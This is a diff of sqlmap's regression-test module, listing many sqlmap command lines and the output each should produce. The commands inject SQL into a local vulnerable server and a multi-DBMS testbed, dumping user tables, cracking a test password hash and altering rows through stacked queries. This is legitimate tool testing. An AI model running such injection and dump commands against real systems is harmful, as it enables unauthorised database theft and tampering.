from lib.core.option import setVerbosity
|
|
||||||
from lib.core.optiondict import optDict
|
|
||||||
from lib.core.settings import UNICODE_ENCODING
|
|
||||||
from lib.parse.cmdline import cmdLineParser
|
|
||||||
|
|
||||||
class Failures(object):
|
|
||||||
failedItems = None
|
|
||||||
failedParseOn = None
|
|
||||||
failedTraceBack = None
|
|
||||||
|
|
||||||
_failures = Failures()
|
|
||||||
_rand = 0
|
|
||||||
|
|
||||||
def vulnTest():
|
def vulnTest():
|
||||||
"""
|
"""
|
||||||
|
@ -64,22 +39,33 @@ def vulnTest():
|
||||||
"""
|
"""
|
||||||
|
|
||||||
TESTS = (
|
TESTS = (
|
||||||
("-r <request> --flush-session", ("CloudFlare",)),
|
("-h", ("to see full list of options run with '-hh'",)),
|
||||||
("-u <url> --flush-session --forms --crawl=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3")),
|
("-u <url> --flush-session --wizard --check-internet", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.", "~no connection detected")),
|
||||||
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3")),
|
(u"-c <config> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
|
||||||
("-u <url> --flush-session --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --banner --smart", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3")),
|
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
||||||
|
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
||||||
|
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
||||||
|
("-r <request> --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")),
|
||||||
|
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
||||||
|
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
||||||
|
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
||||||
|
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
|
||||||
|
("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
|
||||||
("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
|
("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
|
||||||
("-u <url> --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
("-u <url> --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||||
|
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
|
||||||
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||||
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3")),
|
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
|
||||||
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"id2=2\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
|
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
|
||||||
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
|
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
|
||||||
|
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
|
||||||
("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
|
("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
|
||||||
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
|
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
|
||||||
("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)),
|
("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)),
|
||||||
("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3")),
|
("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
||||||
("-d <direct> --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",)),
|
("-d <direct> --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")),
|
||||||
("-d <direct> --flush-session --banner --schema --sql-query=\"SELECT 987654321\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "[*] 987654321",)),
|
("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)),
|
||||||
|
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
|
||||||
)
|
)
|
||||||
|
|
||||||
retVal = True
|
retVal = True
|
||||||
|
@ -102,6 +88,9 @@ def vulnTest():
|
||||||
except:
|
except:
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
|
handle, config = tempfile.mkstemp(suffix=".conf")
|
||||||
|
os.close(handle)
|
||||||
|
|
||||||
handle, database = tempfile.mkstemp(suffix=".sqlite")
|
handle, database = tempfile.mkstemp(suffix=".sqlite")
|
||||||
os.close(handle)
|
os.close(handle)
|
||||||
|
|
||||||
|
@ -112,19 +101,28 @@ def vulnTest():
|
||||||
handle, request = tempfile.mkstemp(suffix=".req")
|
handle, request = tempfile.mkstemp(suffix=".req")
|
||||||
os.close(handle)
|
os.close(handle)
|
||||||
|
|
||||||
open(request, "w+").write("POST / HTTP/1.0\nHost: %s:%s\n\nid=1\n" % (address, port))
|
handle, log = tempfile.mkstemp(suffix=".log")
|
||||||
|
os.close(handle)
|
||||||
|
|
||||||
|
content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port)
|
||||||
|
|
||||||
|
open(request, "w+").write(content)
|
||||||
|
open(log, "w+").write('<port>%d</port><request base64="true"><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False)))
|
||||||
|
|
||||||
url = "http://%s:%d/?id=1" % (address, port)
|
url = "http://%s:%d/?id=1" % (address, port)
|
||||||
direct = "sqlite3://%s" % database
|
direct = "sqlite3://%s" % database
|
||||||
|
|
||||||
|
content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
|
||||||
|
open(config, "w+").write(content)
|
||||||
|
|
||||||
for options, checks in TESTS:
|
for options, checks in TESTS:
|
||||||
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
||||||
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||||
|
|
||||||
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request))
|
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
|
||||||
output = shellExec(cmd)
|
output = shellExec(cmd)
|
||||||
|
|
||||||
if not all(check in output for check in checks):
|
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
|
||||||
dataToStdout("---\n\n$ %s\n" % cmd)
|
dataToStdout("---\n\n$ %s\n" % cmd)
|
||||||
dataToStdout("%s---\n" % clearColors(output))
|
dataToStdout("%s---\n" % clearColors(output))
|
||||||
retVal = False
|
retVal = False
|
||||||
|
@ -139,44 +137,183 @@ def vulnTest():
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def dirtyPatchRandom():
|
def bedTest():
|
||||||
"""
|
"""
|
||||||
Unifying random generated data across different Python versions
|
Runs the testing against 'testbed'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def _lcg():
|
TESTS = (
|
||||||
global _rand
|
# MaxDB
|
||||||
a = 1140671485
|
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'SAP MaxDB'", "the back-end DBMS is SAP MaxDB", "current user is DBA: True", ": 'foobar'")),
|
||||||
c = 128201163
|
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is SAP MaxDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
m = 2 ** 24
|
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Kernel____7.9.10___Build_003-123-265-343", "current database (equivalent to owner on SAP MaxDB): 'SYS'", "current user: 'DBADMIN'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
_rand = (a * _rand + c) % m
|
|
||||||
return _rand
|
|
||||||
|
|
||||||
def _randint(a, b):
|
# Informix
|
||||||
_ = a + (_lcg() % (b - a + 1))
|
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "Database: testdb", "Table: users", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Informix'", "the back-end DBMS is Informix", "current user is DBA: True", ": 'foobar'")),
|
||||||
return _
|
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "current database: 'testdb'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
|
||||||
|
|
||||||
def _choice(seq):
|
# Altibase
|
||||||
return seq[_randint(0, len(seq) - 1)]
|
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current database (equivalent to owner on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
|
|
||||||
def _sample(population, k):
|
# CockroachDB
|
||||||
return [_choice(population) for _ in xrange(k)]
|
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: PostgreSQL AND error-based", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-unknown-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")),
|
||||||
|
|
||||||
def _seed(seed):
|
# CrateDB
|
||||||
global _rand
|
("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("4.0.10", "Database: doc", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'CrateDB'", "the back-end DBMS is CrateDB", "current user is DBA: True", ": 'foobar'")),
|
||||||
_rand = seed
|
("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("4.0.10", "current database (equivalent to schema on CrateDB): 'doc'", "current user: 'crate'", "[1 column]", "| surname |")),
|
||||||
|
|
||||||
random.choice = _choice
|
# Drizzle
|
||||||
random.randint = _randint
|
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
random.sample = _sample
|
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
random.seed = _seed
|
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "7.1.36-stable", "current database: 'testdb'", "current user: 'root'", "[1 column]", "| surname | VARCHAR |")),
|
||||||
|
|
||||||
|
# Firebird
|
||||||
|
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "possible DBMS: 'Firebird'", "the back-end DBMS is Firebird", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --is-dba --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Firebird", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --search -C surname --answers='dump=n'", ("banner: '2.5", "current user: 'SYSDBA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
|
|
||||||
|
# H2
|
||||||
|
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'H2'", "the back-end DBMS is H2", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is H2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: Generic inline queries", "Title: Generic UNION query (NULL) - 3 columns", "1.4.192", "current database (equivalent to schema on H2): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
|
|
||||||
|
# HSQLDB
|
||||||
|
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'HSQLDB'", "the back-end DBMS is HSQLDB", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is HSQLDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: HSQLDB > 2.0 AND time-based blind (heavy query)", "Title: Generic UNION query (NULL) - 3 columns", "2.3.4", "current database (equivalent to schema on HSQLDB): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
|
||||||
|
|
||||||
|
# IBM DB2
|
||||||
|
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'IBM DB2'", "the back-end DBMS is IBM DB2", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is IBM DB2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("banner: 'DB2 v", "current database (equivalent to owner on IBM DB2): 'DB2INST1'", "current user: 'DB2INST1'", "[1 column]", "| SURNAME | VARCHAR(1000) |")),
|
||||||
|
|
||||||
|
# MariaDB
|
||||||
|
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "10.4.12-MariaDB-1:10.4.12+maria~bionic", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
|
||||||
|
|
||||||
|
# MySQL
|
||||||
|
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.1 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "8.0.19", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
|
||||||
|
|
||||||
|
# PostgreSQL
|
||||||
|
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: False", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: False", ": 'foobar'")),
|
||||||
|
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-pc-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
|
||||||
|
)
|
||||||
|
|
||||||
|
retVal = True
|
||||||
|
count = 0
|
||||||
|
|
||||||
|
for options, checks in TESTS:
|
||||||
|
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
|
||||||
|
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
|
||||||
|
|
||||||
|
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
|
||||||
|
output = shellExec(cmd)
|
||||||
|
|
||||||
|
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
|
||||||
|
for check in checks:
|
||||||
|
if check not in output:
|
||||||
|
print(cmd, check)
|
||||||
|
